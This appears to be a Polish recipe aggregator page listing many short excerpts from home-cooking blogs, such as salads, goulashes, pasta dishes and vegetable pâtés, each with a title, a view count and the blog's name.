śmietany 18% 1/2 łyżeczki musztardy sól, pieprz Wykonanie: Bób, marchewkę i pietruszkę ugotować, obrać. Groszek, kiełki odcedzić z zalewy. Mozzarellę pokroić na kawałki. Wszystkie składniki przełożyć do naczynia, przygotować sos z majonezu, śmietanki i musztardy, wymieszać, doprawić solą i pieprzem. Schłodzić przed podaniem. Artykuł Sałatka z bobem, kiełkami i serem mozzarella pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
Tartaletki z musem dyniowym z chilli i snickersami 143

deser będzie pikantny, ale także lekko słony. Mus wykładamy na czekoladowy spód i ponownie schładzamy. Przed podaniem wierzch dekorujemy pokrojonymi kawałkami Snickersa oraz pokruszonymi bezami. Całość można lekko polać sosem lub syropem karmelowym. Artykuł Tartaletki z musem dyniowym z chilli i snickersami pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
Zupa kalafiorowo-ziemniaczana z mleczkiem kokosowym i łososiowymi pulpetami 129

duży garnek) 2 litry bulionu mięsno-warzywnego 1 kalafior 4 średniej wielkości ziemniaki 1 marchewka 1 puszka mleczka kokosowego sól, pieprz szczypta gałki muszkatołowej szczypta mielonej kolendry (opcjonalnie) sos sojowy (opcjonalnie) świeży koperek pulpety łososiowe 300g świeżego łososia 1/2 czerstwej bułki (wcześniej namoczonej w wodzie) 1 jajko łyżeczka koperku sól, pieprz Wykonanie: zupa: do dużego garnka wlać bulion, zagotować, włożyć

Raj dla Podniebienia
Wytrawne naleśniki z cukinią i kolorowymi paprykami 123

poddusić, przyprawić do smaku. Na placku naleśnikowym rozsmarować cieniutką warstwę majonezu. Dodać nadzienie i równo rozprowadzić. Naleśnika zwinąć w rulon. Gotowe! Naleśniki świetnie smakują również w wersji zapieczonej z sosem beszamelowym! Polecam! Artykuł Wytrawne naleśniki z cukinią i kolorowymi paprykami pochodzi z serwisu Raj dla Podniebienia

Raj dla Podniebienia
Polędwica z dorsza w płatkach migdałowych z kaszą i brązowym ryżem 186

dorsza sól, pieprz 1 jajko 50 g płatków migdałowych 2 – 3 łyżeczki oleju kokosowego 100 g brązowego ryżu 100 g ulubionej kaszy (użyłam bulgur i pęczak) 2 łyżeczki sosu sojowego 2 łyżeczki oliwy z oliwek kilka różyczek brokuła 1/3 żółtej papryki 1/2 łyżeczki curry szczypta gałki muszkatołowej sól, pieprz posiekana natka pietruszki 1 łyżeczka śmietany 12% (opcjonalnie) Wykonanie

Raj dla Podniebienia
Pasztet warzywny z migdałami 194

ugotowanej kaszy jaglanej 100 g migdałów, zmielonych w blenderze lub rozdrabniaczu 100 ml oleju rzepakowego 2 marchewki 2 pietruszki 1 por (biała część) 3 laski selera naciowego 3 łyżki sosu sojowego 2 ziarenka ziela angielskiego 3 liście laurowe 1 łyżeczka majeranku 1 łyżeczka suszonej pietruszki 0,5 łyżeczki lubczyku spora szczypta gałki muszkatołowej sól i czarny pieprz do smaku Wykonanie

psgotujemy
Słodko-kwaśny gulasz z kurczaka 163

często gości na naszym stole. Podaję go w wersji na ciepło i na zimno np.jako domową wędlinkę. Z patelni, grilla czy  jak w tym przypadku jako składnik do sosu, na obiad. Kurczak, to łatwe do obróbki mięso i poradzą sobie z nim świetnie nawet osoby mało przebywające w kuchni.   Składniki: 2  filety z kurczaka 1 szalotka

Gosia gotuje
Ziemniaczane gołąbki w grzybowym sosie 208

siak. Świetna propozycja na bezmięsny apetyt. Zastanawiacie się, czy ta receptura przypadnie Wam do gustu? Nie mam wątpliwości. Jeśli lubicie kapustę i ziemniaki, macie ochotę na pyszny grzybowy sos- koniecznie bierzcie się za gotowanie! Czytaj więcej

Pichceniomania
Roladki z kurczaka ze szpinakiem 147

dodać przekrojone na pół pomidorki. Dokładnie wszystko wymieszać. Sprawdzić smak i doprawić w razie potrzeby. Obsmażyć mięso na złoty kolor z obydwu stron. Podsmażone mięso włożyć do żaroodpornego naczynia. Sosem zalać mięso. Nagrzać piekarnik do 200 C i piec 30 minut. Podawać z makaronem, ryżem lub kluseczkami

Kuchnia Pokoleń
Pizza bianco z pesto i szparagami 222

zimno. Moja pizza bianco to pizza domowa od a do z i za każdym razem inna. Ta pizza zawiera tyle zieleniny, że śmię ją nazywać zieloną. Posmarowałam ją sosem bianco, posypałam orzechami i wstawiłam do piekarnika. Pięknie się upiekła, więc ładnie ją przystroiłam.Wczoraj zrobiłam pesto , miałam jeszcze kilka szparagów i kozi twaróg. Uwielbiam kozi ser. Jest kremowy i posiada

codojedzenia
Szpajza edberowoł (Pianka truskawkowa) 150

nazwa 15 ô= ło 16 przepisie 17 rozmawiałem 18 która 19 przygotowywała 20 trików 21 przekazała 22 wrzućcie 23 ugotujcie 24 zagotuje się 25 salaterek 26 oblać 27 sosem Artykuł Szpajza edberowoł (Pianka truskawkowa) pochodzi z serwisu Chop w kuchni

Chop w kuchni
Kuleczki ziemniaczane w panierce. 355

wkładamy na godzinkę do zamrażarki. Olej rozgrzewamy ( ma być go tyle żeby kuleczki pływały) smażymy partiami kuleczki i odsączamy z nadmiaru tłuszczu na papierowy ręczniczku. Podajemy z ketchupem lub sosem czosnkowym. Życzę smacznego :) Asia

Sama słodycz i szczypta chili
Naleśniki z parówką. 176

parówki, ser żółty, paprykę i cebulę. Potem zawijamy wszystko po kolei w placki i już. Na czas obiadu odsmażamy naleśniki na chrupiący złoty kolor. Gorące podajemy z surówką, keczupem, sosem ... z czym kto lubi :)  Smacznego

chleba naszego
HOT DOGI W CIEŚCIE FRANCUSKIM 259

posmarować rozklepanym jajkiem, posypać kilkoma ziarnami sezamu. Piec w piekarniku nagrzanym do 160'C około 15-20 minut, do czasu aż się zarumienią. Można podać z ketchupem, majonezem czy sosem czosnkowym

Zrób to smacznie
Młoda kapustka z kiełbasą jałowcową, papryką i pieczarkami 318

minut. Następnie przykrywamy garnek/patelnię pokrywką i dusimy całość aż kapusta zmięknie i przejmie cały smak przypraw (powinniśmy uzyskać miękko kapustkę pełną smaku i małą ilość a la sosu, w którym można maczać chleb ) Próbujemy, opcjonalnie doprawiamy pieprzem i/lub solą i jeszcze chwilę dusimy. Podajemy ze świeżym pieczywem lub innymi dodatkami. Smacznego

Słodkie okruszki
Sałatka z grillowanych warzyw 304

Składniki: 1 pęczek szparagów 1/2 cukinii 1/2 bakłażana 1/2 słoika czosnku marynowanego z chili 1/2 słoika mini korniszonków kawałek kapusty pekińskiej kawałek sera feta szczypiorek saszetka sosu cezar olej przyprawa … Czytaj dalej Sałatka z grillowanych warzyw

czarrna od kuchni
Babka ziemniaczana z gotowanych ziemniaków 436

Świetny pomysł na obiad - babka ziemniaczana z sosem z pieczarek lub z gulaszem. Można też ją podać po prostu z gęstym jogurtem. Moja babka jest z wędliną, ale można ją wykonać w wersji wege.  Prosta w wykonaniu.  Z podanych proporcji powstają dwie małe foremki.  Składniki: 1 kg ziemniaków surowych, mogą być mączyste 1 średnia cebula

Ze smakiem bez glutenu
Kotleciki jajeczne 264

Wystarczy jajka zetrzeć na tarce, wymieszać z posiekaną pietruszką oraz koperkiem, uformować kotleciki, obtoczyć je w bułce tartej i usmażyć. Takie wegetariańskie kotleciki możecie podać z sałatą masłową w sosie jogurtowym oraz genialnym puree z marchewki . Polecam :) Składniki na porcje dla 3-4 osób (8 sztuk): 5 jajek ugotowanych na twardo (rozmiar l) 1/2 pęczka zielonej pietruszki 1/2 pęczka koperku

Ugotować
KLOPSY JAJECZNE Z TUŃCZYKIEM 218

tuńczyka w odsączonego z zalewy.  Wyszło bardzo fajne zestawienie smakowe: mocno jajeczne, lekko rybne ... Polecam 😊 Składniki: 6 jajek ugotowanych na twardo 1 jajko surowe 2 puszki tuńczyka w sosie własnym koperek lub natka 1 kajzerka lub odrobina bułki tartej cebula bułka tarta sól,pieprz olej do smażenia Przygotowanie:  Tuńczyka odsączyć z zalewy, przełożyć do miseczki. Bułkę namoczyć, jajka

Walijskie Pichcenie
Makaron z pokrzywą i fetą, Kino Letnie w Zorzy 232

kostkę. Na patelni rozgrzej olej lub masło. Dodaj pokrojony czosnek i podsmaż. Następnie dodaj pokrzywę i przez chwilę smaż z czosnkiem. Zestaw z ognia. Dodaj fetę i wymieszaj. Przełóż sos do makaronu i wymieszaj. Natychmiast podawaj. Sezon kina letniego w Zorzy rozpoczyna się już za tydzień. Planowane projekcje w ogródku ( źródło ): 26.05 – 28.05     Jak Bóg

Qlinarnie i Qlinarnie
Wegańska pasta z bobu 239

pasty z bobu, a zbajerować można pomidorkiem lub marchewką a’la wędzony łosoś. ps. Przechowuj w lodówce, wytrzyma 5 dni spokojnie, aha świetnie komponuje się z makaronem jako sos! Składniki: 500 g ugotowanego i branego bobu pęczek szczypiorku 2 ząbki czosnku łyżeczka soli 30 ml oleju roślinnego (3-4 łyżki) Przygotowanie: Teraz Was zaskoczę! Wszystko zblendować razem

greenscarf
Kurczak- prosty przepis. 185

pokrywki. Po upieczeniu zostawiamy jeszcze 10-15 min. w piekarniku żeby wszystko się "uspokoiło". Potem serwujemy, np. z makaronem, wówczas miksujemy tłuszcz  i cebulę z pieczenia, na sos. Smacznego

chleba naszego
Sałatka z krewetkami 320

Składniki: 150 g krewetek w oleju z czosnkiem (2 opakowania) 1/2 pora 1/2 szklanki ryżu jaśminowego 1/2 czerwonej papryki 3-4 połówki brzoskwiń z puszki 2 saszetki sosu 1000 wysp Fanex … Czytaj dalej Sałatka z krewetkami

czarrna od kuchni
DROBIOWA WĘDLINA NA KANAPKI 187

SKŁADNIKI: 1 kg fileta z kurczaka lub indyka Marynata: 3 łyżki sosu sojowego 2 łyżki czosnku 1 łyżka czosnku granulowanego 1 łyżka papryki mielona 1 łyżka papryki ostrej 1 łyżeczka majeranku 1 łyżka lubczyku PRZYGOTOWANIE:  Mięso dokładnie myję. Rozkrajam w poprzech. Lekko rozbijam tłuczkiem. W miseczce łącze ze sobą wszystkie składniki marynaty. Nacieram mięso dokładnie a następnie zawijam

Gotowanie Patki
INDYK FASZEROWANY KURCZAKIEM 206

łyżki oleju sól i pieprz do smaku 4 łyżki suszonej cebuli 2 łyżki czosnku granulowanego 1 łyżeczka czosnku niedźwiedziego 1 łyżeczka papryki czerwonej 1 łyżeczka majeranku 1 łyżka sosu sojowego ciemnego PRZYGOTOWANIE:  Mięso myję, wycinam kości. Filet z kurczaka drobno kroję w kostkę. Przygotowuję marynatę. Nacieram dokładnie udziec z indyka. Na środek kładę mięso z kurczaka. Dokładnie zawijam

Gotowanie Patki
Kurczak z suszonym pomidorem, rukolą, słonecznikiem i mozzarellą 195

Pyszny kurczak z suszonymi pomidorami, rukolą, słonecznikiem i mozzarellą w sosie śmietanowym z papryką i spaghetti :-). Tak na szybko z tego co znalazłam w lodówce, a że staram się mieć suszone pomidory, bo lubimy, słoneczniku też nie brakuje, rukolę kupiłam do sałatki, to wyszło tak właśnie :-) Miłego piątku :-) Składniki: 2 filety z kurczaka kilka suszonych pomidorów rukola suszone oregano

kruche babeczki
Krewetki z pesto – obiad idealny 368

ostrą papryką. Smażymy po 5-10 min z każdej strony. Na koniec wcisakmy czosnek, dodajemy połówki pomidorków i oliwki. Przykrywamy wszystko pokrywką i dusimy jeszcze kilka minut w sosie, który się wytworzył. W międzyczasie wstawiamy wodę i gotujemy makaron al’dente (pamiętajcie o posoleniu wody) . Krewetki odstawiamy. Odcedzamy makaron, mieszamy go z pesto i wrzucamy na patelnię z krewetkami

Mama z miasta
Ciasto kakaowe na bazie majonezu 370

piekarnika nagrzanego do temperatury 160°C. Pieczemy przez godzinę. Po upieczeniu odstawiamy ciasto do wystygnięcia. Ciasto kakaowe podajemy posypane cukrem pudrem. Dobrze komponuje się ze świeżymi owocami lub sosem z mrożonych truskawek, jagód czy wiśni. Smacznego

W kuchni Katie
“W słoiku” – recenzja 194

szarej renety. To odtwarzanie dawnych smaków i metod, żeby uzyskać niezapomniany smak rodzinnych specjałów, które kojarzą nam się z bliskimi, którzy odeszli. To eksperymenty – czatnej czy bałkański sos, który chcemy zrobić samemu w domu. To spotkania towarzyskie, gdzie wspólne robienie dżemów jest okazją do spotkania w gronie rodziny czy przyjaciół, bo na 4 ręce praca idzie dużo szybciej

Ugotowane pozamiatane
Gulasz z indyka z papryką i marchewką 204

mięsa, wymieszać i dogotować. Można ewentualnie dodać łyżkę lub dwie koncentratu pomidorowego. Doprawić do smaku pieprzem i mieloną papryką.            Tak przygotowane mięso w sosie podałam do kaszy pęczak

Proste Potrawy
Surówka z kapusty pekińskiej z ananasem 327

Dodać do surówki. Wymieszać. Przygotować dressing. Do słoika wlać wodę, ocet i olej. Wsypać cukier i sól. Zakręcić słoik i trzymając w dłoni, energicznie nim potrząsać, aż wszystkie składniki sosu dobrze się połączą, a cukier rozpuści. Tak przygotowany dressing wlać do surówki. Całość wymieszać, przykryć folią spożywczą i wstawić na 1 godzinę do lodówki w celu przegryzienia się smaków. SMACZNEGO

Gospodyni Miejska
Ekspresowa kremówka na herbatnikach z sosem toffi 372

Uwielbiam ciasta z kremem budyniowym, dlatego z braku czasu staram się wymyślać jakieś pyszneee i na szybko. Mam sprawdzony krem z ciasta karpatkowego - klik , więc dodałam herbatniki, sos toffi i wyszło nieziemskie połączenie. Sama masa nie jest zbyt przesłodzona, więc idealnie skomponowała się z polewą. Koniecznie sami spróbujcie! A przepis i troszkę informacji na temat kremówki/napoleonki macie tu - klik

Di gotuje
PULPECIKI Z KASZY JAGLANEJ Z WARZYWAMI 237

słodko! Dziś mam dla Was przepis na pyszne, chrupiące klopsiki z warzywami , które są świetnym pomysłem na obiad. Robi się je błyskawicznie i świetnie smakują. Podane z sosem jogurtowo – czosnkowym stworzą danie, które zachwyci nawet mięsożerców. Koniecznie spróbujcie! SKŁADNIKI: ( 2 porcje ) * kasza jaglana – 1 szkl * duża marchew – 1 szt * duża cebula

Ostra na Słodko
MAKARON PEŁNOZIARNISTY ZE SZPINAKIEM I SEREM FETA 260

cebuli i czosnku dodajemy jogurt naturalny, całość dokładnie mieszamy i ok. minuty trzymamy na małym ogniu. Pilnujemy aby jogurt nie zagotował się. Makaron przekładamy na talerz, na wierzch kładziemy sos szpinakowy, całość posypujemy serem feta i bazylią. SMACZNEGO

Prosto i Smacznie z Anetą
Zapiekanka z mięsa mielonego, fasolki i sera 216

Całość posypać znowu ziołami. Całość zapiekamy bez przykrycia w temperaturze 180° C przez ok. 15-20 minut Zapiekanka świetnie smakuje jako samodzielne danie, można ją podać również np. z sosem pomidorowym. A tak prezentuje się moja gotowa zapiekanka :-) Prawda, że wygląda smakowicie? :-) Jeżeli spodobał wam się przepis zapraszam do udostępniania i komentowania :-) Marta

Marta próbuje
SCHAB Z WĘDZONĄ ŚLIWKĄ 218

robiliśmy sami :)  Dziś zapraszam na pyszną wędlinę - schab pieczony z wędzoną śliwką :)  Smacznego :) SKŁADNIKI:   1.5 kg schabu bez kości 150 g śliwek wędzonych Marynata 2 łyżki sosu sojowego 1 łyżka oleju rzepakowego Sól i pieprz do smaku 1 łyżeczka czosnku mielonego 1 łyżeczka czosnku niedźwiedziego 1 łyżeczka papryki słodkiej 1 łyżka majeranku PRZYGOTOWANIE:  Mięso myję

Gotowanie Patki
Spaghetti carbonara 197

wymieszać i chwilę smażyć na małej mocy palnika, następnie dodać rozmieszane jajka ze śmietaną i serem. Wszystko dokładnie wymieszać, dodać wodę po gotowaniu makaronu i cały czas mieszać, aż sos zgęstnieje i oblepi makaron. Na koniec dodać świeżo zmielony pieprz i sól do smaku. Makaronu zbyt długo nie trzymać na patelni, gdyż będzie zbyt miękki. Jeśli chcemy zrobić carbonarę

Kuchcik gotuje
Pęczak ze szparagami i orzechami 193

Zrobiłam sobie szparagowy weekend. Każdego dnia coś ze szparagami. Najbardziej smakowały mi klasyki czyli szparagi sosem, albo z jajkiem z płynnym żółtkiem i zupa szparagowa. Z mniej ogranych smaków zrobiłam sałatkę ziemniaczana ze szparagami i kaszę pęczak ze szparagami. W końcu sezon na szparagi jest tylko raz do roku! A że ostatnio uwielbiam wszystko co zawiera kaszę pęczak i orzechy

Ugotowane pozamiatane
Gulasz z indyka z boczkiem i suszonymi śliwkami 216

było potrzeby). 4. Do kubka wlewamy 100 ml wrzątku i wlewamy do niego śmietankę, mieszamy i wlewamy do gulaszu. Śmietana wtedy nam się nie zważy. Gotujemy jeszcze chwilkę, sos powinien nam lekko zgęstnieć. Jeśli trzeba doprawiamy solą. Podajemy z kaszą, ryżem, makaronem, z czym kto lubi :-). Smacznego

kruche babeczki
Gulasz wołowy 225

wodą. Jeśli mięso jest już miękkie lub prawie miękkie ;), wyjmujemy warzywa i miksujemy je na warzywny mus. Łączymy wszystko razem, doprawiamy solą, pieprzem i ziołami. Jeśli mamy za gęsty sos dolewamy wody i ponownie doprowadzamy do wrzenia. Tak powstały warzywny gulasz nie lubi mąki, więc naprawdę nie ma potrzeby zaprawiania go mąką i śmietaną. Ten kto taki gotuje, przyzna

Życie zaczyna się w kuchni
Curry z kurczaka i mango z pomarańczową nutką 185

filetu z kurczaka 2 łyżeczki pomarańczowej pasty curry 2 ząbki czosnku łyżeczka curry w proszku sól, pieprz do smaku płaska łyżeczka mielonego ziela angielskiego kilka kropel ciemnego sosu sojowego marchewka cebula sok z jednej pomarańczy łyżeczka miodu kwiatowego 3 spore łyżki mleczka kokosowego pęczek natki pietruszki Przygotowanie Mięso pokroić w cienkie paseczki. Doprawić solą, pieprzem, zielem angielskim, curry i czosnkiem

Gaździnka warzy
Suszone warzywa, czyli domowa vegeta. 187

przesyp do czystego słoja. Słój szczelnie zamknij i przechowuj w chłodnym, suchym i zacienionym miejscu np. w szafce.   M ieszankę tę możesz stosować w zimie do zup, sosów, mięs itp. Jest ona o wiele zdrowsza niż podobna ze sklepu, trzeba tylko pamiętać, aby warzywa i zioła wziąć z własnego ogrodu lub nabyć z ekologicznej uprawy.  R ada : Jeśli

Przepisy i porady kulinarne
Pasztet z soczewicy 234

czerwonej soczewicy. Idealny smak i konsystencja z doskonałego przepisu pani Agnieszki Kręglickiej. Składniki: szklanka soczewicy czerwonej 3 jajka 3 średnie marchewki 3 ząbki czosnku cebula łyżka koncentratu pomidorowego łyżka sosu sojowego 2 łyżki oleju kilka ziaren ziela angielskiego liść laurowy papryka słodka, kurkuma, kumin - po 1/2 łyżeczki szczypta chilli sól, pieprz Soczewicę przepłukać na sicie, wsypać do garnka. Zalać

wyzwania kuchenne
Kociołek po serbsku 287

płomieniem , pilnując żeby się nie przypaliło i mieszając czasami . Po tym czasie dokładamy ziemniaki i fasolkę i dusimy jeszcze około 15 minut , w razie potrzeby można dolać wody ,jeśli sosu jest zbyt mało . Można jeszcze doprawić do smaku , jeśli się nie do końca z nim zgadzamy " class="wp-smiley" style="height: 1em; max-height: 1em;" /> . Po tym czasie nasz kociołek

Ogrodnik w podróży
Makaron ze szparagami, kurczakiem, oliwkami, pomidorkami i kolendrą 199

dania z makaronem robi się szybko, więc dla mnie super. Tym razem kurczak, miałam w lodówce kilka szparag i pomidorków, znalazłam też oliwki i powstało takie oto danie. Sos śmietanowy do tego z dodatkiem kurkumy na zdrowie i gotowe :-). Miłego dzionka :-) Składniki na 3 porcje: makaron u mnie kokardki 2 filety z kurczaka szparagi zielone (8 sztuk) kilka pomidorków koktajlowych

kruche babeczki
Makaron z pieczarkami i kurczakiem 232

kurczakiem Drukuj przepis Porcji: 3-4 Czas gotowania: 30 minut Składniki 400 g piersi z kurczaka opakowanie pieczarek mrożonych Poltino - 400 g 2 szalotki 250 ml śmietanki do sosów 18% garść natki pietruszki + do posypania sól i pieprz łyżka masła olej do smażenia 300 g makaronu Przepis 1 Na patelni rozpuszczamy łyżkę masła i wrzucamy na nią zamrożone pieczarki. Smażymy

Kuchnia Bazylii
Szakszuka z szynką i serem feta 223

skórki. Na małej patelni roztopić masło i dodać pokrojone na mniejsze kawałki pomidory. Całość przyprawić solą oraz pieprzem. Smażyć na średnim ogniu tak długo, aż pomidory zmiękną i sos lekko się zredukuje. Następnie dodać szynkę, szczypiorek i ser feta*. W pomidorach zrobić dwa wgłębienia, w które wbić jajka. Przyprawić je solą oraz pieprzem. Patelnię przykryć pokrywką i gotować około

Ugotować
Klopsiki delikatne 199

create', 'UA-92313943-1', 'auto'); ga('send', 'pageview'); -1/2 kg zmielonej łopatki wieprzowej -1 czerstwa kajzerka -1 jajko -sól, pieprz do smaku -50 ml zimnej wody Na sos: -duża marchewka, spory kawałek bulwy selera, zielona część pora -śmietana lub jogurt -łyżka mąki -sól, pieprz -olej do podsmażania Bułkę namoczyć, odcisnąć i dodać do mięsa wraz z jajkiem, wodą, solą

Kulinarne przemyslenia
Roladki z tortilli z tuńczykiem 159

słodkawa kukurydza to świetna propozycja na przekąski na przyjęcia. Równie dobrze sprawdzi się jako pożywne i pełnowartościowe śniadanie. Gorąco polecam!   Składniki: 4 placki pełnoziarnistej tortilli puszka tuńczyka w sosie własnym 1/3 puszki kukurydzy garść rzeżuchy 5-6 kawałków suszonych pomidorów 80g żółtego sera 3 łyżki majonezu dwie duże garście rukoli czarny pieprz Sposób przygotowania : W salaterce mieszamy składniki farszu

Pyry na Gaz
Makaron z czerwonym pesto 190

robi się to błyskawicznie :)  Składniki: ulubiony makaron czerwone pesto np. z TEGO przepisu parmezan bazylia świeża Makaron ugotować al dente zgodnie z instrukcją na opakowaniu. Parmezan zetrzeć. Sos pesto wymieszać z 2 łyżkami wody z gotowania makaronu, a następnie z odcedzonym makaronem. Przełożyć na talerze, posypać serem i udekorować listkami bazylii

wyzwania kuchenne
Polędwiczki w piwie. 208

oraz doprawiamy wszystkimi przyprawami. Dusimy do miękkości mięsa pod przykryciem (od czasu do czasu obracamy polędwiczki). Kiedy już będzie miękkie, wyciągamy na talerze i jeśli jest taka potrzeba zagęszczamy sos łyżeczką mąki. Podajemy z ziemniaczkami lub kluskami. Smacznego

Moje-pitraszenie
Mielone z indyka i kaszy jaglanej 259

piórka, na sitku przelać wrzątkiem. Wyszorowaną pomarańczę obrać ze skóry razem z białą skórką, wyfiletować cząstki. Opłukać i osuszyć rukolę. Olej wymieszać z octem i solą. Składniki wymieszać, polać sosem.  Kotlety podawać z sałatką przybraną kwiatami bratka

Kuchenne zapiski Edyty
Baba ziemniaczana radrużanka – kuchnia podkarpacka 236

Baba radrużanka doskonale smakuje również na drugi dzień, odsmażona na patelni. Idealnym dodatkiem do baby jest maczka grzybowa lub twarożek ze śmietaną, szczypiorkiem i rzodkiewką. Ja podałam ją z sosem jogurtowo-majonezowym z czosnkiem, koperkiem i zielonym ogórkiem startym na tarce. Baba ziemniaczana radrużanka - kuchnia podkarpacka Inne przepisy kuchni podkarpackiej znajdziecie TUTAJ

Trzeci talerz
Tuńczyk z jabłkiem w kanapce 188

łączyć ryby z owocami. Na moim blogu możecie na przykład odnaleźć sałatkowe połączenie śledzia z granatem , ale też mam na swojej liście film z przygotowania ryby w curry z sosem mandarynkowym . Stąd też postanowiłem połączyć tuńczyka z jabłkiem. Całość podaje w kanapce ozdabiając ją sałatą. Bogactwa smaku dodają orzechy pecan a chrupkości seler naciowy. Działamy! Zacznijcie od obejrzenia krótkiego filmu

Kuchennyviral.pl
Burgery rybne z sosem chilli 164

powiedział, że burger musi być koniecznie z wołowiny? Miłośnikom lżejszych dań proponuję poeksperymentować z kotletami rybnymi. Odpowiednie dodatki, jak surówka colesław i sos chilli, zdziałają tu cuda. Do podania od razu lub do zapakowania do pracy

Milion Smaków
Szaszłyki drobiowe z grilla 256

Składniki 1 filet z kurczaka 1 papryka 20 dkg pieczarek kawałek cukinii 1/2 bakłażana 3 cebulki 1 papryczka chili kilka gałązek zielonej pietruszki sól, pieprz przyprawa do szaszłyków Plenus sos … Czytaj dalej Szaszłyki drobiowe z grilla

czarrna od kuchni
Sałatka z tofu 187

krótko obgotować w osolonej wodzie bez przykrycia). Kapustę drobno poszatkować. Tofu, brokuł, kapustę pekińską i rukolę razem wymieszać. Majonez, jogurt i przeciśnięty przez praskę czosnek wymieszać i doprawić solą. Sos dodać do reszty składników. Delikatnie wymieszać

Pysznie & Pięknie
Wyjątkowe i smaczne wspomnienie dzieciństwa z ziemniakami w mundurkach 160

minut. Oprawione śledzie pokroić na paseczki. Obrać cebule i pokroić w cienkie plasterki. Jogurt i,śmietanę wymieszać ,dodając sok i miód,oraz musztardę, doprawiając pieprzem.  Do tak przygotowanego sosu dodać pokrojone śledzie,wymieszać Na koniec dodać zieloną pietruszkę.Odstawić do przegryzienia smaków. Wyjątkowe i smaczne wspomnienie mojego dzieciństwa

w mojej kuchni
Salatka z botwiny 274

wraz ze skórką, skrapiamy sokiem z cytryny i dorzucamy do selera. Orzechy siekamy dośc drobno. Dodajemy do sałatki.  Olej mieszamy z octem. Do miski dorzucamy botwinę, polewamy powstałym sosem, doprawiamy solą i pieprzem, wedle uznania. Odstawiamy na min. 30 min mieszając co jakiś czas, aby wszystko się ze sobą połączyło. Smacznego

Kuchnia od dwojga
Naleśniki ze szparagami 216

Naleśniki ze szparagami i serkiem jogurtowym to nasza propozycja na pyszne, ale lekie, fit śniadanie lub kolację. Uwielbiamy szparagi i przygotowujemy je na różne sposoby: Szparagi z sosem holenderskim Szparagi zawijane w boczek (roladki ze szparagami) , Zapiekanka. Klopsiki wieprzowe ze szparagami i makaronem Pizza ze szparagami Kremowa zupa szparagowa z pestkami dyni Jaglane muffiny ze szparagami i szynką Kremowa zupa

Damsko-męskie spojrzenie na kuchnię
Ciecierzyca w kremowym sosie 176

pomidory suszone podsmażamy na patelni. Dodajemy do ugotowanej ciecierzycy, następnie dodajemy śmietanę i całość  gotujemy na małym ogniu. Doprawiamy kurkumą, słodką papryką i ziołami prowansalskimi. Następnie zagęszczamy sos rozrobioną skrobią ziemniaczaną. Podajemy z makaronem spaghetti i posypujemy tartym parmezanem

Delusional Trine
Wolnowar – wszystko co chcielibyście wiedzieć, ale boicie się zapytać 200

Gotować w wolnowarach możemy niemal wszystko , począwszy od rosołów i wywarów, przez wszelkiego typu gulasze (zarówno mięsne, jak i mięsno- warzywne lub z samych warzyw), mięsa duszone we własnym sosie, esencjonalne zupy, owoce (doskonałe są powidła śliwkowe z wolnowaru), ale też ryby i owoce morza. Crock – pot jest też niezastąpiony do przygotowania wspaniałego bigosu i żeberek, węgierskiego leczo i zupy

Kulinaria - potrawy z różnych stron świata
Greckie souvlaki z sosem tzatziki 184

Niby zwyczajny filet na patyku a jednak greckie souvlaki mają coś w sobie:). Podałam je z pieczonymi ziemniakami i sosem tzatziki - dawno nie mieliśmy tak pysznego obiadu! Polecam, polecam i jeszcze raz polecam:).  2 duże filety z kurczaka 2 łyżki oleju  skórka otarta z 1/2 cytryny sok z 1/2 cytryny 1 łyżeczka papryki słodkiej 1/2 papryki ostrej

Szefowa kuchni
"Cygańskie" gołąbki. 3896

trochę bułki. Uformowane kotlety/gołąbki  otaczamy mąką i smażymy. Usmażone odkładamy na papierze kuchennym dla odsączenia z tłuszczu. W takiej postaci już możemy serwować. Jeżeli chcemy podać z sosem, to do garnka wkładamy umyte liście kapusty,  które odrywaliśmy przed ucieraniem. Liście zalewamy wrzątkiem i dodajemy 2 kost. rosołowe. Następnie układamy gołąbki i dodajemy koncentrat pomidorowy, chwilę gotujemy

chleba naszego
przepyszne kopytka gryczane 244

osolonej wody i gotuję około 3 min. Kopytka łowimy łyżką cedzakową. Gotowe. Smacznego   Możemy je podawać na ciepło zaraz po wyjęciu z wody z podsmażoną cebulką lub polane sosem. Moja ulubiona wersja to te podsmażone na rumiano z idealnie chrupiącą skórką, ale zawsze zjadam kilka gorących zaraz po gotowaniu. Kopytka sprawdzą się na kolacje ale również jako dodatek

Gar Zdrowia
Delikatne placuszki z "wybuchowym" dodatkiem 168

poświęcić. Ja wracam do nich co i rusz, komponując z przeróżnymi dodatkami; raz ze sprawdzonymi i ulubionymi, innym razem z czymś zupełnie nowym. Dzisiaj proponuję placuszki z granatem w sosie karmelowym. Czytaj więcej

Pichceniomania
Ziemniaki hasselback 185

Proste i smaczne danie, które pochodzi z kuchni szwedzkiej. Ziemniaki zapiekane w piekarniku, które można podawać ze swoim ulubionym sosem. Idealny dodatek do obiadu, który może zastąpić nam tradycyjne ziemniaki gotowane. Do tego polecam porcyjkę mięsa, surówkę i obiad gotowy. Składniki 6 średnich ziemniaków 4 łyżki oleju 2 łyżki bułki tartej 2 łyżki startego parmezanu sól pieprz Ziemniaki umyć

O kuchni z uczuciem
Szybka zupa z łososiem i szpinakiem / Easy salmon and spinach soup 393

byłam trochę zestresowana liczbą funkcji i nakładek wszelakich, jednak po chwili okazało się że jest to sprzęt bardzo intuicyjny. Początkowo korzystałam tylko i wyłącznie z gotowych, wbudowanych programów jak sosy, zupy, slow cook, gotowanie na parze, ciasta i desery. Po jakimś czasie zaczęłam ustawiać go sama, bo jest to na prawdę proste. Dosłownie wrzuca się składniki, zapomina i wyłącza robota

karmelowy
Sałatka z ogórka, rabarbaru i pumpernikla 203

kostkę o boku ok 0,5 cm   Przepis na sałatkę z pumpernikla, ogórka i rabarbaru Jogurt mieszamy z czosnkiem, pieprzem i dymką. Ogórek i rabarbar mieszamy z sosem. Dodajemy pumpernikiel i mieszamy. Podajemy od razu. Lubisz moje wpisy? Bądź na bieżąco na Facebooku i Instagramie ! Artykuł Sałatka z ogórka, rabarbaru i pumpernikla pochodzi z serwisu Ugotowane Pozamiatane

Ugotowane pozamiatane
Pieczony łosoś z makiem 199

płaski talerz i obtocz w nim rybę. W rozgrzanym piekarniku  do 200 stopni piecz rybę ok 30 minut. Z rukoli, pomidorków i awokado zrób sałatkę. Polej sosem przygotowanym z soku z cytryny i oliwy z oliwek

AZgotuj!
Penne z sosem bolońskim na sposób Josha 166

